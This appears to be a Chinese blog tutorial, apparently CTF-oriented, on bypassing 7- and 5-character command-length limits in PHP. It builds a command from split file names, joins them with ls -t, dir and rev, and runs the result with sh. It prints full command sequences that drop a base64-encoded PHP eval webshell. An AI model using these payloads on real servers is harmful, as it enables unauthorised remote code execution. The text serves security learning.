字符长度限制下的命令执行

发布于 2023-04-24  428 次阅读


7字符基本原理

  • echo可以写文件,>作为定向符可以控制输出到文件的名字,==如果只是生成文件而不需要写入内容只需要>1即可生成名为1的文件==
echo miaomiao >1

  • 本句将miaomiao写入名为1的文件(如果存在则会将原文件覆盖掉),如果需要追加可以使用>>a

  • 命令执行时为了避免特殊字符(比如转义)出现问题,可以将字符base64编码,传入时使用解码命令,将解码后的字符串写入文件

<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

  • 如果命令写在文件中,可以用sh+文件名来执行
1中写有ls

  • 也可以利用\符号来连接换行的命令
1中写有
l\
s

  • 如果想将\写入到文件则需要echo两个\\,否则会被当作转义符处理

  • ls -t可以查看历史文件操作,输出文件名

7字符

  • 这里能命令执行,但是这里限制了长度,常规的较短的命令能执行,比如ls,如果flag在/flag的话也能cat /f*刚好 来获取flag,但是如果都不在,那就得想办法获取shell了,就是写入一个一句话木马的文件
<?php
if(strlen($_GET['miao']<7)){
    echo strlen($_GET['miao']);
    echo '<br>';
    echo shell_exec($_GET['miao']);
}else{
    exit('too long');
}
?>
  • 这里我们利用上面的基础知识,分段将命令写入到文件名里面,然后将ls -t把所有文件名给串在一起输出到另一个文件(默认是换行输出的,所以要用\来换行),然后sh执行这个文件就可以了

  • 如果本身就存在历史操作,ls -t会写入一部分脏数据,但是不用担心,sh对命令的执行是一行一行执行的(如果没有加\这个换行连接符),上面的命令执行会报错,但是不影响下面的命令执行

  • 实战测试一下,将<?php eval($_GET[1]);一句话木马base64转码得到PD9waHAgZXZhbCgkX0dFVFsxXSk7

<?php eval($_GET[1]); -> PD9waHAgZXZhbCgkX0dFVFsxXSk7
  • 需要执行的命令是echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>0.php
  • ==将命令拆成开分别生成多个文件,写入到文件名中,写入过程有以下规则==
  1. 不要把空格当作文件名的第一位,这会让它被吞掉,比如下面这个命令不会生成 666这个文件,而只会生成666这个文件,如果轮到了空格作为文件名的第一位,可以把上一句最后一位补过来
  2. 如果命令中稍微有一点特殊符号,都要加转义,不然这会使文件生成不稳定
  3. 空格也需要转义
> 666
  • 下面开始拆
>ech\\
>o\ PD\\
>9waH\\
>AgZX\\
>ZhbC\\
>gkX0\\
>dFVF\\
>sxXS\\
>k7\|\\
>base\\
>6\\
>4\ \-\\
>d\>\\
>0.php\\
>\?
  • 本来是这样的,但是ls -t是先显示后面的操作,所以要倒过来
>0.php\\
>d\>\\
>4\ \-\\
>6\\
>base\\
>k7\|\\
>sxXS\\
>dFVF\\
>gkX0\\
>ZhbC\\
>AgZX\\
>9waH\\
>o\ PD\\
>ech\\
  • 本来想偷个懒,把这一堆命令cv到文件里面用sh执行的,结果出现了顺序错乱的情况,上面提到sh是按行执行的,结果出现了有的在下面行的命令比在上面行的执行还要早导致ls -t的顺序是错乱的,这样会导致base64编码顺便错乱,那么解码也无法解出

  • 只能一行一行输

  • 然后直接把文件名写入到文件,并且执行就行了
ls -t>0
sh 0

5字符基本原理

  • 输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
  • 比如这里,创建一个名为cat的文件,创建了一个miao文件写入666,使用*命令,相当于执行cat miao,成功输出了666
>cat
echo 666>miao

  • 限定通配,可以利用特殊字母来限制被执行的文件名,防止通配不想执行的命令,这里创建一个名为error的干扰文件,执行这个文件是没有意义的,不想执行它可以将miao的名字改为比如catt,然后执行*t即可,虽然目录中有error,cat,miao,catt这些文件,但是只会将cat和catt用来经历上面提到的操作
>error
echo right>catt

  • rev来倒置输出内容,这里利用了两个文件末尾都是v限定了通配
>rev
echo 1234 > v
*v    (等同于命令:rev v)

  • ls -t的那个命令,可以用dir来代替ls不换行输出
  • 这里新建1,2,3三个文件,ls并且输出到ls这个文件,cat发现是换行的,dir输出到dir这个文件,发现是不换行的

  • 这样虽然命令变短了,但是会导致类似于7字符的命令执行出现问题,比如下面的命令会导致正常的命令前面多了一个0字符
>ls
> -t
dir>0

  • 所以就可以用上面的倒置输出,把本来在命令前面的脏数据来倒置到后面了

  • 通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置,如果没有-h,这里-t的会莫名其妙跑到最后面去,所以要加h

  • 这里和7字符有点小不同,7字符是需要在文件名中的空格前面加\来防转义的,但是如果在dir命令里面使用了\会被dir显示出来,但是ls里面就不会显示出来

5字符

  • 知道了7字符,5字符就很简单了,文件名的拆分部分可以少拆一些,但是ls -t>0这句明显超过了5个字符,所以基本思路是写入一个文件然后执行这个文件
<?php
    error_reporting(E_ALL);
    $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
  • 这样就可以实现把ls -th写入到0文件
>dir
>f\>
>ht-
>sl
*>v        (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0        (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
  • 然后还是要把马写到文件名里面,5字符要考虑另一个问题,<和\\要占用三个字符的位置,也就是说每个文件名都只能存放两个字符,所以如果遇到空格,只能写成>\ \\,但是linux下这样把空格放到首位就会使得生成的文件被命名为\而不是空格,所以需要使用${IFS}

>ec\\
>ho\\
>\$\\
>\{\\
>\I\\
>F\\
>S\\
>}\\
>PD\\
>9w\\
>aH\\
>Ag\\
>ZX\\
>Zh\\
>bC\\
>gk\\
>X0\\
>dF\\
>VF\\
>sx\\
>XS\\
>k7\\
>\|\\
>ba\\
>se\\
>64\\
>\$\\
>\{\\
>\I\\
>F\\
>S\\
>}\\
>\-\\
>d0\\
>\.\\
>ph\\
>p\\
  • 最后执行提前写入的ls -th就可以了生成f文件,再实行f文件即可生成webshell
sh 0
sh f

届ける言葉を今は育ててる
最后更新于 2024-02-07